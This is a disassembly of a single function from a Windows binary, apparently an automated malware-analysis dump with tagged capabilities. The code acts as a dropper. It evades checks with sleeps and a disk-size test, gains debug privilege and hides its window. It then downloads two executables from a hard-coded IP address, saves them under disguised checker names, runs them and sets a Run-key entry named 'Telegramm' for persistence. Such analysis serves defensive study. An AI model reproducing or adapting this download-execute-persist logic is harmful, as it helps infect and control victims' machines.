Function at 0x4031b0
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create process on windows
Download url
Execute command
Execute shellcode via indirect call
Get common file path
Get disk size
Hide graphical window
Persist via run registry key
Receive data
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405197
mov eax, dword fs:[0]
push eax
sub esp, 0x33c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x2b0]
push eax
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0x2a8]
push eax
push 0x407218
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x40321d
mov edx, dword [ebp - 0x26c]
mov ecx, dword [ebp - 0x270]
call fcn.00404cc0
mulsd xmm0, qword [0x407228]
jmp 0x403225
movsd xmm0, qword [ebp - 0x2a8]
comisd xmm0, xmmword [0x407230]
jb 0x403877
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x47
call esi
push 0xabe
call esi
call fcn.00402f70
mov esi, dword [0x409448]
lea eax, [ebp - 0x2bc]
mov ebx, dword [0x409444]
push eax
push 0x40
sub ebx, esi
mov dword [ebp - 0x2b8], esi
push ebx
push esi
mov dword [ebp - 0x2b4], ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test ebx, ebx
je 0x4032a0
mov edi, ebx
mov ebx, 0x3039
nop
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
lea esi, [esi + 1]
idiv ebx
mov byte [esi - 1], dl
sub edi, 1
jne 0x403280
mov ebx, dword [ebp - 0x2b4]
mov esi, dword [ebp - 0x2b8]
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 0x2bc]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x57b
call ebx
lea eax, [ebp - 0x2bc]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov edi, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x403343
lea eax, [ebp - 0x268]
push eax
push str.SeDebugPrivilege
push 0
call edi
test eax, eax
je 0x403343
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
push 0
push 0
push 0x10
mov dword [ebp - 0x224], eax
lea eax, [ebp - 0x228]
push eax
push 0
push dword [ebp - 0x2bc]
mov dword [ebp - 0x228], 1
mov dword [ebp - 0x220], ecx
mov dword [ebp - 0x21c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x97
call ebx
lea ecx, [ebp - 0x348]
call fcn.00402240
lea ecx, [ebp - 0x348]
call fcn.00402e90
push 0x1f
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.dfgharetgaertgarthj
lea ecx, [ebp - 0x2d8]
call fcn.00403a80
lea ecx, [ebp - 0x348]
mov dword [ebp - 4], 0
call fcn.00402240
lea ecx, [ebp - 0x348]
call fcn.00402e90
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x2c4]
cmp ecx, 0xf
jbe 0x4033e3
mov edx, dword [ebp - 0x2d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4033d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4033d9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00403f80
add esp, 8
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x403803
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00403900
push str.WindowsMD5Checker.exe
mov edx, eax
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x248]
call fcn.00403b90
add esp, 4
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x2c4]
cmp ecx, 7
jbe 0x403471
mov edx, dword [ebp - 0x2d8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403467
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403467
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00403f80
add esp, 8
xor eax, eax
mov dword [ebp - 0x2c8], 0
mov word [ebp - 0x2d8], ax
lea ecx, [ebp - 0x230]
lea eax, [ebp - 0x218]
mov dword [ebp - 0x2c4], 7
push eax
call fcn.00403900
push str.SandelloChecker.exe
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x260]
call fcn.00403b90
add esp, 4
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x21c]
cmp ecx, 7
jbe 0x4034ff
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4034f5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4034f5
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00403f80
add esp, 8
xor eax, eax
mov dword [ebp - 0x220], 0
mov word [ebp - 0x230], ax
lea ecx, [ebp - 0x2a0]
lea eax, [ebp - 0x248]
mov dword [ebp - 0x21c], 7
push eax
call fcn.00403c60
add esp, 4
lea eax, [ebp - 0x260]
mov byte [ebp - 4], 7
push eax
lea ecx, [ebp - 0x288]
call fcn.00403c60
add esp, 4
push 0x3e9
call ebx
cmp dword [ebp - 0x234], 7
lea eax, [ebp - 0x248]
mov edi, dword [sym.imp.urlmon.dll_URLDownloadToFileW]
cmova eax, dword [ebp - 0x248]
push 0
push 0
push eax
push str.http:__79.137.202.105_Datalife5private8_4LinuxWp_Privatelocal0_linuxRequest1_AdminTool.exe
push 0
call edi
cmp dword [ebp - 0x24c], 7
lea ecx, [ebp - 0x260]
push 0
cmova ecx, dword [ebp - 0x260]
mov esi, eax
push 0
push ecx
push str.http:__79.137.202.105_Datalife5private8_4LinuxWp_Privatelocal0_linuxRequest1_sandello.exe
push 0
call edi
test esi, esi
js 0x4036a8
push 0x3e7
call ebx
cmp dword [ebp - 0x28c], 7
lea eax, [ebp - 0x2a0]
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
cmova eax, dword [ebp - 0x2a0]
push eax
call esi
add esp, 4
lea eax, [ebp - 0x288]
cmp dword [ebp - 0x274], 7
cmova eax, dword [ebp - 0x288]
push eax
call esi
add esp, 4
push 0x3eb
call ebx
cmp dword [ebp - 0x234], 7
lea eax, [ebp - 0x248]
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmova eax, dword [ebp - 0x248]
push 0
push 0
push 0
push eax
push str.open
push 0
call esi
cmp dword [ebp - 0x24c], 7
lea eax, [ebp - 0x260]
push 0
cmova eax, dword [ebp - 0x260]
push 0
push 0
push eax
push str.open
push 0
call esi
lea eax, [ebp - 0x2b4]
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp dword [ebp - 0x234], 7
lea edx, [ebp - 0x248]
lea esi, [ebp - 0x248]
cmova edx, dword [ebp - 0x248]
cmova esi, dword [ebp - 0x248]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push esi
push 1
push 0
push str.Telegramm
push dword [ebp - 0x2b4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x2b4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x274]
cmp ecx, 7
jbe 0x4036e8
mov edx, dword [ebp - 0x288]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4036de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037ed
push ecx
push edx
call fcn.00403f80
add esp, 8
mov ecx, dword [ebp - 0x28c]
xor eax, eax
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 7
mov word [ebp - 0x288], ax
cmp ecx, 7
jbe 0x403745
mov edx, dword [ebp - 0x2a0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40373b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037ed
push ecx
push edx
call fcn.00403f80
add esp, 8
mov ecx, dword [ebp - 0x24c]
xor eax, eax
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 7
mov word [ebp - 0x2a0], ax
cmp ecx, 7
jbe 0x40379e
mov edx, dword [ebp - 0x260]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403794
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037ed
push ecx
push edx
call fcn.00403f80
add esp, 8
mov ecx, dword [ebp - 0x234]
xor eax, eax
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 7
mov word [ebp - 0x260], ax
cmp ecx, 7
jbe 0x4037fd
mov edx, dword [ebp - 0x248]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4037f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4037f3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00403f80
add esp, 8
mov edi, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0x1e
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov ebx, dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea eax, [ebp - 0x2b8]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x403813
lea eax, [ebp - 0x224]
push eax
push str.SeShutdownPrivilege
push 0
call edi
push 0
push 0
push 0
lea eax, [ebp - 0x228]
mov dword [ebp - 0x228], 1
push eax
push 0
push dword [ebp - 0x2b8]
mov dword [ebp - 0x21c], 2
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x403813
push eax
call esi
jmp 0x403813
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00403f42
mov esp, ebp
pop ebp
ret